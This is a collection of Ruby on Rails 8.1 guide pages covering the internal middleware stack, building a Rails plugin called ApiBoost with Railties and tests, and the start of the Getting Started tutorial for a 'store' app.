The middleware stack is loaded once and isn't monitored for changes. Restart your server after making changes to your middleware stack.

### [3.4. Internal Middleware Stack](#internal-middleware-stack)

Much of Action Controller's functionality is implemented as middleware. The following list explains the purpose of each of them:

#### [3.4.1. `ActionDispatch::ActionableExceptions`](#actiondispatch-actionableexceptions)

[`ActionDispatch::ActionableExceptions`](https://api.rubyonrails.org/v8.1.4/files/actionpack/lib/action_dispatch/middleware/actionable_exceptions_rb.html) provides a way to dispatch actions from Rails' error pages if the request is local.

#### [3.4.2. `ActionDispatch::Callbacks`](#actiondispatch-callbacks)

[`ActionDispatch::Callbacks`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Callbacks.html) provides callbacks to be executed before and after dispatching the request.

#### [3.4.3. `ActionDispatch::ContentSecurityPolicy::Middleware`](#actiondispatch-contentsecuritypolicy-middleware)

[`ActionDispatch::ContentSecurityPolicy::Middleware`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/ContentSecurityPolicy/Middleware.html) provides a DSL to configure a `Content-Security-Policy` header. See [Securing Rails Applications](security.html#content-security-policy-header) for further information.

#### [3.4.4. `ActionDispatch::Cookies`](#actiondispatch-cookies)

[`ActionDispatch::Cookies`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Cookies.html) reads cookie data from the request and writes cookie data on the response.

#### [3.4.5. `ActionDispatch::DebugExceptions`](#actiondispatch-debugexceptions)

[`ActionDispatch::DebugExceptions`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/DebugExceptions.html) is responsible for logging exceptions and showing a debugging page if the request is local.

#### [3.4.6. `ActionDispatch::Executor`](#actiondispatch-executor)

[`ActionDispatch::Executor`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Executor.html) ensures thread safe code reloading during development.

#### [3.4.7. `ActionDispatch::Flash`](#actiondispatch-flash)

[`ActionDispatch::Flash`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Flash.html) sets up the flash keys. Only available if [`config.session_store`](configuring.html#config-session-store) is set to a value.

#### [3.4.8. `ActionDispatch::HostAuthorization`](#actiondispatch-hostauthorization)

[`ActionDispatch::HostAuthorization`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/HostAuthorization.html) prevents DNS rebinding attacks by restricting the hosts to which a request can be sent. See the [configuration guide](configuring.html#actiondispatch-hostauthorization) for configuration instructions.

#### [3.4.9. `ActionDispatch::Reloader`](#actiondispatch-reloader)

[`ActionDispatch::Reloader`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Reloader.html) provides prepare and cleanup callbacks, intended to assist with code reloading during development.

#### [3.4.10. `ActionDispatch::RemoteIp`](#actiondispatch-remoteip)

[`ActionDispatch::RemoteIp`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/RemoteIp.html) checks for IP spoofing attacks.

#### [3.4.11. `ActionDispatch::RequestId`](#actiondispatch-requestid)

[`ActionDispatch::RequestId`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/RequestId.html) makes a unique `X-Request-Id` header available to the request and enables the `ActionDispatch::Request#request_id` method.

The unique request id can be used to trace a request end-to-end and would typically end up being part of log files from multiple pieces of the stack.

#### [3.4.12. `ActionDispatch::ServerTiming`](#actiondispatch-servertiming)

[`ActionDispatch::ServerTiming`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/ServerTiming.html) sets a [`Server-Timing`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Server-Timing) header containing performance metrics for the request.

#### [3.4.13. `ActionDispatch::Session::CookieStore`](#actiondispatch-session-cookiestore)

[`ActionDispatch::Session::CookieStore`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Session/CookieStore.html) is responsible for storing the session in cookies.

#### [3.4.14. `ActionDispatch::ShowExceptions`](#actiondispatch-showexceptions)

[`ActionDispatch::ShowExceptions`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/ShowExceptions.html) rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.

#### [3.4.15. `ActionDispatch::Static`](#actiondispatch-static)

[`ActionDispatch::Static`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Static.html) serves static files from the `public` folder. Disabled when [`config.public_file_server.enabled`](configuring.html#config-public-file-server-enabled) is `false`.

#### [3.4.16. `ActiveRecord::Migration::CheckPending`](#activerecord-migration-checkpending)

[`ActiveRecord::Migration::CheckPending`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Migration/CheckPending.html) checks pending migrations and raises `ActiveRecord::PendingMigrationError` if any migrations are pending if [`config.action_dispatch.x_sendfile_header`](configuring.html#config-action-dispatch-x-sendfile-header) is set to `:page_load`.

#### [3.4.17. `ActiveSupport::Cache::Strategy::LocalCache::Middleware`](#activesupport-cache-strategy-localcache-middleware)

[`ActiveSupport::Cache::Strategy::LocalCache::Middleware`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Strategy/LocalCache.html) is the middleware for the in-memory local cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.

#### [3.4.18. `Propshaft::QuietAssets`](#propshaft-quietassets)

[`Propshaft::QuietAssets`](https://github.com/rails/propshaft/blob/main/lib/propshaft/quiet_assets.rb) suppresses logger output for asset requests.

#### [3.4.19. `Rack::ConditionalGet`](#rack-conditionalget)

[`Rack::ConditionalGet`](https://rack.github.io/rack/3.2/Rack/ConditionalGet.html) enables "Conditional `GET`" requests using if-none-match and if-modified-since. If the requested page wasn't changed returns a 304 Not Modified and an empty body.

#### [3.4.20. `Rack::ETag`](#rack-etag)

[`Rack::ETag`](https://rack.github.io/rack/3.2/Rack/ETag.html) adds an `ETag` header on all String bodies. ETags are used to validate the cache to facilitate "Conditional `GET`" requests as described above. See the [Caching with Rails](caching_with_rails.html#conditional-gets) for further information.

#### [3.4.21. `Rack::Head`](#rack-head)

[`Rack::Head`](https://rack.github.io/rack/3.2/Rack/Head.html) returns an empty body for all `HEAD` requests. It leaves all other requests unchanged.

#### [3.4.22. `Rack::Lock`](#rack-lock)

[`Rack::Lock`](https://rack.github.io/rack/3.2/Rack/Lock.html) locks every request inside a mutex, so that every request will effectively be executed synchronously.

#### [3.4.23. `Rack::MethodOverride`](#rack-methodoverride)

[`Rack::MethodOverride`](https://rack.github.io/rack/3.2/Rack/MethodOverride.html) allows the method to be overridden if `params[:_method]` is set. This is how Rails supports `PUT`, `PATCH`, and `DELETE` HTTP methods since they are not browser native.

#### [3.4.24. `Rack::Runtime`](#rack-runtime)

[`Rack::Runtime`](https://rack.github.io/rack/3.2/Rack/Runtime.html) sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.

#### [3.4.25. `Rack::Sendfile`](#rack-sendfile)

[`Rack::Sendfile`](https://rack.github.io/rack/3.2/Rack/Sendfile.html) sets a server specific `X-Sendfile` header. This is useful for accelerated file sending if you use a reverse proxy server like Apache or Nginx. For example it can be set to 'X-Sendfile' for Apache. Configure this via [`config.action_dispatch.x_sendfile_header`](configuring.html#config-action-dispatch-x-sendfile-header) option.

#### [3.4.26. `Rack::TempfileReaper`](#rack-tempfilereaper)

[`Rack::TempfileReaper`](https://rack.github.io/rack/3.2/Rack/TempfileReaper.html) cleans up tempfiles used to buffer multipart requests.

#### [3.4.27. `Rails::Rack::Logger`](#rails-rack-logger)

[`Rails::Rack::Logger`](https://api.rubyonrails.org/v8.1.4/classes/Rails/Rack/Logger.html) notifies the logs that the request has begun. After the request is complete, flushes all the logs.

You can use any of the above middleware in a custom Rack stack.

## [4. Custom Middleware](#custom-middleware)

You can create your own middleware and include it in your Rails app.

### [4.1. Creating Middleware](#creating-middleware)

Custom middleware files should be placed in the `lib/` folder and `require`d manually since middleware is not auto-reloaded.

The below example reads the `locale` value from the URL params and stores it in the Rack `env`. It then deletes it from the query parameters so it isn't included in the `params` hash keeping it decluttered when the request hits the controller.

```
# lib/middleware/extract_locale.rb

module RackMiddleware
  class ExtractLocale
    def initialize(app)
      @app = app
    end

    def call(env)
      request = ActionDispatch::Request.new(env)
      if request.params["locale"].present?
        env["myapp.locale"] = env["action_dispatch.request.query_parameters"]["locale"]

        env["action_dispatch.request.query_parameters"].delete("locale")
        env["action_dispatch.request.parameters"].delete("locale")
      end

      @app.call(env)
    end
  end
end
```

Rails doesn't create the `lib/middleware/` folder by default, so you'll need to create it yourself. Excluding it from the autoload path is recommended to prevent auto-loading issues.

```
# config/application.rb

module MyApp
  class Application < Rails::Application
    # ...

    config.autoload_lib(ignore: %w[assets tasks middleware])

    # ...
  end
end
```

### [4.2. Adding Custom Middleware to the Stack](#adding-custom-middleware-to-the-stack)

Custom middleware can be added in `application.rb`

```
# config/application.rb

# ...

require_relative "../lib/middleware/extract_locale"

module MyApp
  class Application < Rails::Application
    # ...

    config.middleware.use RackMiddleware::ExtractLocale

    # ...
  end
end
```

or within a standalone initializer.

```
# config/initializers/extract_locale.rb

require "#{Rails.root.join("lib", "middleware", "extract_locale")}"

Rails.application.config.middleware.use RackMiddleware::ExtractLocale
```

## [5. Accessing Rack Internals in Rails](#accessing-rack-internals-in-rails)

The underlying Rack API can be used within Rails controllers.

### [5.1. Accessing the Rack `env`](#accessing-the-rack-env)

The Rack `env` hash is available in Rails controllers using `request.env`.

```
class HomeController
  def index
    user_agent = request.env["HTTP_USER_AGENT"]

    # ...
  end
end
```

### [5.2. Writing a Rack Response](#writing-a-rack-response)

A Rack response can be written in a Rails controller as:

```
class HomeController
  def index
    self.response = Rack::Response[200, {}, ["I'm Home!"]]
  end
end
```

### [5.3. Routing to a Rack App](#routing-to-a-rack-app)

You can route requests to a Rack App in your `config/routes.rb`. See the [routing guide](routing.html#routing-to-rack-applications) for further details.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/plugins.html
----

***

## [1. What are Plugins?](#what-are-plugins-questionmark)

A Rails plugin is a packaged extension that adds functionality to a Rails application. Plugins serve several purposes:

* They offer a way for developers to experiment with new ideas without affecting the stability of the core codebase.
* They support a modular architecture, allowing features to be maintained, updated, or released independently.
* They give teams an outlet for introducing powerful features without needing to include everything directly into the framework.

At a technical level, a plugin is a Ruby gem that’s designed to work inside a Rails application. It often uses a [Railtie](https://api.rubyonrails.org/v8.1.4/classes/Rails/Railtie.html) to hook into the Rails boot process, allowing it to extend or modify the framework's behavior in a structured way. A Railtie is the most basic integration point for extending Rails — it’s typically used when your plugin needs to add configuration, rake tasks, or initializer code, but doesn’t expose any controllers, views, or models.

An [Engine](engines.html) is a more advanced type of plugin that behaves like a mini Rails application. It can include its own routes, controllers, views, and even assets. While all engines are plugins, not all plugins are engines. The main difference lies in scope: plugins are typically used for smaller customizations or shared behavior across apps, whereas engines provide more fully-featured components with their own routes, models, and views.

## [2. Generator Options](#generator-options)

Rails plugins are built as gems. They can be shared across different Rails applications using [RubyGems](https://guides.rubygems.org/make-your-own-gem/) and [Bundler](https://bundler.io/guides/creating_gem.html) if desired.

The `rails plugin new` command supports several options that determine what type of plugin structure is generated.

The **Basic Plugin** (default), without any arguments, generates a minimal plugin structure suitable for simple extensions like core class methods or utility functions.

```
$ rails plugin new api_boost
```

We'll use the basic plugin generator for this guide. There are two options, `--full` and `--mountable`, which are covered in the [Rails Engines guide](engines.html).

The **Full Plugin** (`--full`) option creates a more complete plugin structure that includes an `app` directory tree (models, views, controllers), a `config/routes.rb` file, and an Engine class at `lib/api_boost/engine.rb`.

```
$ rails plugin new api_boost --full
```

Use `--full` when your plugin needs its own models, controllers, or views but doesn't require namespace isolation.

The **Mountable Engine** (`--mountable`) option creates a fully isolated, mountable engine that includes everything from `--full` plus:

* Namespace isolation (`ApiBoost::` prefix for all classes)
* Isolated routing (`ApiBoost::Engine.routes.draw`)
* Asset manifest files
* Namespaced `ApplicationController` and `ApplicationHelper`
* Automatic mounting in the dummy app for testing

```
$ rails plugin new api_boost --mountable
```

Use `--mountable` when building a self-contained feature that could work as a separate application.

For more information about engines, see the [Getting Started with Engines guide](engines.html).

Below is some guidance on choosing the right option:

* **Basic plugin**: Simple utilities, core class extensions, or small helper methods
* **`--full` plugin**: Complex functionality that needs models/controllers but shares the host app's namespace
* **`--mountable` engine**: Self-contained features like admin panels, blogs, or API modules

See usage and options by asking for help:

```
$ rails plugin new --help
```

## [3. Setup](#setup)

For the purpose of this guide, imagine you're building APIs and want to create a plugin that adds common API functionality like request throttling, response caching, and automatic API documentation. You'll create a plugin called "ApiBoost" that can enhance any Rails API application.

### [3.1. Generate the Plugin](#generate-the-plugin)

Create a basic plugin with the command:

```
$ rails plugin new api_boost
```

This will create the ApiBoost plugin in a directory named `api_boost`. Let's examine what was generated:

```
api_boost/
├── api_boost.gemspec
├── Gemfile
├── lib/
│   ├── api_boost/
│   │   └── version.rb
│   ├── api_boost.rb
│   └── tasks/
│       └── api_boost_tasks.rake
├── test/
│   ├── dummy/
│   │   ├── app/
│   │   ├── bin/
│   │   ├── config/
│   │   ├── db/
│   │   ├── public/
│   │   └── ... (full Rails application)
│   ├── integration/
│   └── test_helper.rb
├── MIT-LICENSE
└── README.md
```

**The `lib` directory** contains your plugin's source code:

* `lib/api_boost.rb` is the main entry point for your plugin
* `lib/api_boost/` contains modules and classes for your plugin functionality
* `lib/tasks/` contains any Rake tasks your plugin provides

**The `test/dummy` directory** contains a complete Rails application that's used for testing your plugin. This dummy application:

* Loads your plugin automatically through the Gemfile
* Provides a Rails environment to test your plugin's integration
* Includes generators, models, controllers, and views as needed for testing
* Can be used interactively with `rails console` and `rails server`

**The Gemspec file** (`api_boost.gemspec`) defines your gem's metadata, dependencies, and the files to include when packaging.

### [3.2. Set Up the Plugin](#set-up-the-plugin)

Navigate to the directory that contains the plugin, and edit `api_boost.gemspec` to replace any lines that have `TODO` values:

```
spec.homepage    = "http://example.com"
spec.summary     = "Enhance your API endpoints"
spec.description = "Adds common API functionality like request throttling, response caching, and automatic API documentation."

...

spec.metadata["source_code_uri"] = "http://example.com"
spec.metadata["changelog_uri"] = "http://example.com"
```

Then run the `bundle install` command.

After that, set up your testing database by navigating to the `test/dummy` directory and running the following command:

```
$ cd test/dummy
$ bin/rails db:create
```

The dummy application works just like any Rails application - you can generate models, run migrations, start the server, or open a console to test the plugin's functionality as you develop it.

Once the database is created, return to the plugin's root directory (`cd ../..`).

Now you can run the tests using the `bin/test` command, and you should see:

```
$ bin/test
...
1 runs, 1 assertions, 0 failures, 0 errors, 0 skips
```

This will tell you that everything got generated properly, and you are ready to start adding functionality.

## [4. Extending Core Classes](#extending-core-classes)

This section will explain how to add a method to [Integer](https://docs.ruby-lang.org/en/master/Integer.html) that will be available anywhere in your Rails application.

Before proceeding, it's important to understand that extending core classes (like String, Array, Hash, etc.) should be used sparingly, if at all. Core class extensions can be brittle, dangerous, and are often unnecessary.\
\
They can:\
\- Cause naming conflicts when multiple gems extend the same class with the same method name\
\- Break unexpectedly when Ruby or Rails updates change core class behavior\
\- Make debugging difficult because it's not obvious where methods come from\
\- Create coupling issues between your plugin and other code\
\
Better alternatives to consider:\
\- Create utility modules or helper classes instead\
\- Use composition over monkey patching\
\- Implement functionality as instance methods on your own classes\
\
For more details on why core class extensions can be problematic, see [The Case Against Monkey Patching](https://shopify.engineering/the-case-against-monkey-patching).\
\
That said, understanding how core class extensions work is valuable. The example below demonstrates the technique, but they should be used sparingly.

In this example you will add a method to Integer named `requests_per_hour`.

In `lib/api_boost.rb`, add `require "api_boost/core_ext"`:

```
# api_boost/lib/api_boost.rb

require "api_boost/version"
require "api_boost/railtie"
require "api_boost/core_ext"

module ApiBoost
  # Your code goes here...
end
```

Create the `core_ext.rb` file and add a method to Integer to define a RateLimit that could define `10.requests_per_hour`, similar to `10.hours` that returns a Time.

```
# api_boost/lib/api_boost/core_ext.rb

ApiBoost::RateLimit = Data.define(:requests, :per)

class Integer
  def requests_per_hour
    ApiBoost::RateLimit.new(self, :hour)
  end
end
```

To see this in action, change to the `test/dummy` directory, start `bin/rails console`, and test the API response formatting:

```
$ cd test/dummy
$ bin/rails console
```

```
irb> 10.requests_per_hour
=> #<data ApiBoost::RateLimit requests=10, per=:hour>
```

The dummy application automatically loads your plugin, so any extensions you add are immediately available for testing.

## [5. Add an "acts\_as" Method to Active Record](#add-an-acts-as-method-to-active-record)

A common pattern in plugins is to add a method called `acts_as_something` to models. In this case, you want to write a method called `acts_as_api_resource` that adds API-specific functionality to your Active Record models.

Let’s say you’re building an API, and you want to keep track of the last time a resource (like a `Product`) was accessed via that API. You might want to use that timestamp to:

* throttle requests
* show “last active” times in your admin panel
* prioritize stale records for syncing

Instead of writing this logic in every model, you can use a shared plugin. The `acts_as_api_resource` method adds this functionality to any model, letting you track API activity by updating a timestamp field.

To begin, set up your files so that you have:

```
# api_boost/lib/api_boost.rb

require "api_boost/version"
require "api_boost/railtie"
require "api_boost/core_ext"
require "api_boost/acts_as_api_resource"

module ApiBoost
  # Your code goes here...
end
```

```
# api_boost/lib/api_boost/acts_as_api_resource.rb

module ApiBoost
  module ActsAsApiResource
    extend ActiveSupport::Concern

    class_methods do
      def acts_as_api_resource(api_timestamp_field: :last_requested_at)
        # Create a class-level setting that stores which field to use for the API timestamp.
        cattr_accessor :api_timestamp_field, default: api_timestamp_field.to_s
      end
    end
  end
end
```

The code above uses `ActiveSupport::Concern` to simplify including modules with both class and instance methods. Methods in the `class_methods` block become class methods when the module is included. For more details, see the [ActiveSupport::Concern API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Concern.html).

### [5.1. Add a Class Method](#add-a-class-method)

By default, this plugin expects your model to have a column named `last_requested_at`. However, since that column name might already be used for something else, the plugin lets you customize it. You can override the default by passing a different column name with the `api_timestamp_field:` option. Internally, this value is stored in a class-level setting called `api_timestamp_field`, which the plugin uses when updating the timestamp.

For example, if you want to use `last_api_call` instead of `last_requested_at` as the column name, you can do the following:

First, generate some models in your "dummy" Rails application to test this functionality. Run the following commands from the `test/dummy` directory:

```
$ cd test/dummy
$ bin/rails generate model Product last_requested_at:datetime last_api_call:datetime
$ bin/rails db:migrate
```

Now update the Product model so that it acts like an API resource:

```
# test/dummy/app/models/product.rb

class Product < ApplicationRecord
  acts_as_api_resource api_timestamp_field: :last_api_call
end
```

To make the plugin available to all models, include the module in `ApplicationRecord` (we'll look at doing this automatically later):

```
# test/dummy/app/models/application_record.rb

class ApplicationRecord < ActiveRecord::Base
  include ApiBoost::ActsAsApiResource

  self.abstract_class = true
end
```

Now you can test this functionality in the Rails console:

```
irb> Product.api_timestamp_field
=> "last_api_call"
```

### [5.2. Add an Instance Method](#add-an-instance-method)

This plugin adds an instance method called `track_api_request` to any Active Record model that calls `acts_as_api_resource`. This method sets the value of the configured timestamp field to the current time (or a custom time if provided), allowing you to track when an API request was made.

To add this behavior, update `acts_as_api_resource.rb`:

```
# api_boost/lib/api_boost/acts_as_api_resource.rb

module ApiBoost
  module ActsAsApiResource
    extend ActiveSupport::Concern

    class_methods do
      def acts_as_api_resource(options = {})
        cattr_accessor :api_timestamp_field,
                       default: (options[:api_timestamp_field] || :last_requested_at).to_s
      end
    end

    def track_api_request(timestamp = Time.current)
      write_attribute(self.class.api_timestamp_field, timestamp)
    end
  end
end
```

The use of `write_attribute` above to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you might prefer using `send`, which calls the setter method

```
send("#{self.class.api_timestamp_field}=", timestamp)
```

Now you can test the functionality in the Rails console:

```
irb> product = Product.new
irb> product.track_api_request
irb> product.last_api_call
=> 2025-06-01 10:31:15 UTC
```

## [6. Advanced Integration: Using Railties](#advanced-integration-using-railties)

The plugin we've built so far works great for basic functionality. However, if the plugin needs to integrate more deeply with Rails' framework, you'll want to use a [Railtie](https://api.rubyonrails.org/v8.1.4/classes/Rails/Railtie.html).

A Railtie is required when your plugin needs to:

* Add configuration options accessible via `Rails.application.config`
* Automatically include modules in Rails classes without manual setup
* Provide Rake tasks to the host application
* Set up initializers that run during Rails boot
* Add middleware to the application stack
* Configure Rails generators
* Subscribe to `ActiveSupport::Notifications`

For simple plugins like ours that only extend core classes or add modules, a Railtie isn't necessary.

### [6.1. Configuration Options](#configuration-options)

Let's say you want to make the default rate limit in your `to_throttled_response` method configurable. First, create a Railtie:

```
# api_boost/lib/api_boost/railtie.rb

module ApiBoost
  class Railtie < Rails::Railtie
    config.api_boost = ActiveSupport::OrderedOptions.new
    config.api_boost.default_rate_limit = 60.requests_per_hour

    initializer "api_boost.configure" do |app|
      ApiBoost.configuration = app.config.api_boost
    end
  end
end
```

Add a configuration module to your plugin:

```
# api_boost/lib/api_boost/configuration.rb

module ApiBoost
  mattr_accessor :configuration, default: nil

  def self.configure
    yield(configuration) if block_given?
  end
end
```

Update your core extension to use the configuration:

```
# api_boost/lib/api_boost/core_ext.rb

module ApiBoost
  module ActsAsApiResource
    def to_throttled_json(rate_limit = ApiBoost.configuration.default_rate_limit)
      limit_window = 1.send(rate_limit.per).ago..
      num_of_requests = self.class.where(self.class.api_timestamp_field => limit_window).count
      if num_of_requests > rate_limit.requests
        { error: "Rate limit reached" }.to_json
      else
        to_json
      end
    end
  end
end
```

Require the new files in your main plugin file:

```
# api_boost/lib/api_boost.rb

require "api_boost/version"
require "api_boost/configuration"
require "api_boost/railtie"
require "api_boost/core_ext"
require "api_boost/acts_as_api_resource"

module ApiBoost
  # Your code goes here...
end
```

Now applications using your plugin can configure it:

```
# config/application.rb
config.api_boost.default_rate_limit = "100 requests per hour"
```

### [6.2. Automatic Module Inclusion](#automatic-module-inclusion)

Instead of requiring users to manually include `ActsAsApiResource` in their `ApplicationRecord`, you can use a Railtie to do it automatically:

```
# api_boost/lib/api_boost/railtie.rb

module ApiBoost
  class Railtie < Rails::Railtie
    config.api_boost = ActiveSupport::OrderedOptions.new
    config.api_boost.default_rate_limit = 60.requests_per_hour

    initializer "api_boost.configure" do |app|
      ApiBoost.configuration = app.config.api_boost
    end

    initializer "api_boost.active_record" do
      ActiveSupport.on_load(:active_record) do
        include ApiBoost::ActsAsApiResource
      end
    end
  end
end
```

The `ActiveSupport.on_load` hook ensures your module is included at the right time during Rails initialization, after ActiveRecord is fully loaded.

### [6.3. Rake Tasks](#rake-tasks)

To provide Rake tasks to applications using your plugin:

```
# api_boost/lib/api_boost/railtie.rb

module ApiBoost
  class Railtie < Rails::Railtie
    # ... existing configuration ...

    rake_tasks do
      load "tasks/api_boost_tasks.rake"
    end
  end
end
```

Create the Rake task file:

```
# api_boost/lib/tasks/api_boost_tasks.rake

namespace :api_boost do
  desc "Show API usage statistics"
  task stats: :environment do
    puts "API Boost Statistics:"
    puts "Models using acts_as_api_resource: #{api_resource_models.count}"
  end

  def api_resource_models
    ApplicationRecord.descendants.select do |model|
      model.include?(ApiBoost::ActsAsApiResource)
    end
  end
end
```

Applications using your plugin will now have access to `rails api_boost:stats`.

### [6.4. Testing the Railtie](#testing-the-railtie)

You can test that your Railtie works correctly in the dummy application:

```
# api_boost/test/railtie_test.rb

require "test_helper"

class RailtieTest < ActiveSupport::TestCase
  def test_configuration_is_available
    assert_not_nil ApiBoost.configuration
    assert_equal 60.requests_per_hour, ApiBoost.configuration.default_rate_limit
  end

  def test_acts_as_api_resource_is_automatically_included
    assert Class.new(ApplicationRecord).include?(ApiBoost::ActsAsApiResource)
  end

  def test_rake_tasks_are_loaded
    Rails.application.load_tasks
    assert Rake::Task.task_defined?("api_boost:stats")
  end
end
```

Railties provide a clean way to integrate your plugin with Rails' initialization process. For more details about the complete Rails initialization lifecycle, see the [Rails Initialization Process Guide](initialization.html).

## [7. Testing Your Plugin](#testing-your-plugin)

It's good practice to add tests. The Rails plugin generator created a test framework for you. Let's add tests for the functionality we just built.

### [7.1. Testing Core Extensions](#testing-core-extensions)

Create a test file for your core extensions:

```
# api_boost/test/core_ext_test.rb

require "test_helper"

class CoreExtTest < ActiveSupport::TestCase
  def test_to_throttled_response_adds_rate_limit_header
    response_data = "Hello API"
    expected = { data: "Hello API", rate_limit: 60.requests_per_hour }
    assert_equal expected, response_data.to_throttled_response
  end

  def test_to_throttled_response_with_custom_limit
    response_data = "User data"
    expected = { data: "User data", rate_limit: "100 requests per hour" }
    assert_equal expected, response_data.to_throttled_response("100 requests per hour")
  end
end
```

### [7.2. Testing Acts As Methods](#testing-acts-as-methods)

Create a test file for your ActsAs functionality:

```
# api_boost/test/acts_as_api_resource_test.rb

require "test_helper"

class ActsAsApiResourceTest < ActiveSupport::TestCase
  def test_a_users_api_timestamp_field_should_be_last_requested_at
    assert_equal "last_requested_at", User.api_timestamp_field
  end

  def test_a_products_api_timestamp_field_should_be_last_api_call
    assert_equal "last_api_call", Product.api_timestamp_field
  end

  def test_users_track_api_request_should_populate_last_requested_at
    user = User.new
    freeze_time = Time.current
    Time.stub(:current, freeze_time) do
      user.track_api_request
      assert_equal freeze_time.to_s, user.last_requested_at.to_s
    end
  end

  def test_products_track_api_request_should_populate_last_api_call
    product = Product.new
    freeze_time = Time.current
    Time.stub(:current, freeze_time) do
      product.track_api_request
      assert_equal freeze_time.to_s, product.last_api_call.to_s
    end
  end
end
```

Run your tests to make sure everything is working:

```
$ bin/test
...
6 runs, 6 assertions, 0 failures, 0 errors, 0 skips
```

## [8. Generators](#generators)

Generators can be included in your gem simply by creating them in a `lib/generators` directory of your plugin. More information about the creation of generators can be found in the [Generators Guide](generators.html).

## [9. Publishing Your Gem](#publishing-your-gem)

Gem plugins currently in development can easily be shared from any Git repository. To share the ApiBoost gem with others, simply commit the code to a Git repository (like GitHub) and add a line to the `Gemfile` of the application in question:

```
gem "api_boost", git: "https://github.com/YOUR_GITHUB_HANDLE/api_boost.git"
```

After running `bundle install`, your gem functionality will be available to the application.

When the gem is ready to be shared as a formal release, it can be published to [RubyGems](https://rubygems.org).

Alternatively, you can benefit from Bundler's Rake tasks. You can see a full list with the following:

```
$ bundle exec rake -T

$ bundle exec rake build
# Build api_boost-0.1.0.gem into the pkg directory

$ bundle exec rake install
# Build and install api_boost-0.1.0.gem into system gems

$ bundle exec rake release
# Create tag v0.1.0 and build and push api_boost-0.1.0.gem to Rubygems
```

For more information about publishing gems to RubyGems, see: [Publishing your gem](https://guides.rubygems.org/publishing).

## [10. RDoc Documentation](#rdoc-documentation)

Once your plugin is stable, you can write documentation for it. The first step is to update the `README.md` file with detailed information about how to use your plugin. A few key things to include are:

* Your name
* How to install
* How to add the functionality to the app (several examples of common use cases)
* Warnings, gotchas or tips that might help users and save them time

Once your `README.md` is solid, go through and add RDoc comments to all the methods that developers will use. It's also customary to add `# :nodoc:` comments to those parts of the code that are not included in the public API.

Once your comments are good to go, navigate to your plugin directory and run:

```
$ bundle exec rake rdoc
```

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/getting_started.html
----

***

## [1. Introduction](#introduction)

Welcome to Ruby on Rails! In this guide, we'll walk through the core concepts of building web applications with Rails. You don't need any experience with Rails to follow along with this guide.

Rails is a web framework built for the Ruby programming language. Rails takes advantage of many features of Ruby so we **strongly** recommend learning the basics of Ruby so that you understand some of the basic terms and vocabulary you will see in this tutorial.

* [Official Ruby Programming Language website](https://www.ruby-lang.org/en/documentation/)
* [List of Free Programming Books](https://github.com/EbookFoundation/free-programming-books/blob/main/books/free-programming-books-langs.md#ruby)

## [2. Rails Philosophy](#rails-philosophy)

Rails is a web application development framework written in the Ruby programming language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Experienced Rails developers also report that it makes web application development more fun.

Rails is opinionated software. It makes the assumption that there is a "best" way to do things, and it's designed to encourage that way - and in some cases to discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.

The Rails philosophy includes two major guiding principles:

* **Don't Repeat Yourself:** DRY is a principle of software development which states that "Every piece of knowledge must have a single, unambiguous, authoritative representation within a system". By not writing the same information over and over again, our code is more maintainable, more extensible, and less buggy.
* **Convention Over Configuration:** Rails has opinions about the best way to do many things in a web application, and defaults to this set of conventions, rather than require that you define them yourself through endless configuration files.

## [3. Creating a New Rails App](#creating-a-new-rails-app)

We're going to build a project called `store` - a simple e-commerce app that demonstrates several of Rails' built-in features.

Any commands prefaced with a dollar sign `$` should be run in the terminal.

### [3.1. Prerequisites](#prerequisites)

For this project, you will need:

* Ruby 3.2 or newer
* Rails 8.1.0 or newer
* A code editor

Follow the [Install Ruby on Rails Guide](install_ruby_on_rails.html) if you need to install Ruby and/or Rails.

Let's verify the correct version of Rails is installed. To display the current version, open a terminal and run the following. You should see a version number printed out:

```
$ rails --version
Rails 8.1.0
```

The version shown should be Rails 8.1.0 or higher.

### [3.2. Creating Your First Rails App](#creating-your-first-rails-app)

Rails comes with several commands to make life easier. Run `rails --help` to see all of the commands.

`rails new` generates the foundation of a fresh Rails application for you, so let's start there.

To create our `store` application, run the following command in your terminal:

```
$ rails new store
```

You can customize the application Rails generates by using flags. To see these options, run `rails new --help`.

After your new application is created, switch to its directory:

```
$ cd store
```

### [3.3. Directory Structure](#directory-structure)

Let's take a quick glance at the files and directories that are included in a new Rails application. You can open this folder in your code editor or run `ls -la` in your terminal to see the files and directories.

| File/Folder          | Purpose                                                                                                                                                                                                                                                                        |
| -------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| app/                 | Contains the controllers, models, views, helpers, mailers, jobs, and assets for your application. **You'll focus mostly on this folder for the remainder of this guide.**                                                                                                      |
| bin/                 | Contains the `rails` script that starts your app and can contain other scripts you use to set up, update, deploy, or run your application.                                                                                                                                     |
| config/              | Contains configuration for your application's routes, database, and more. This is covered in more detail in [Configuring Rails Applications](configuring.html).                                                                                                                |
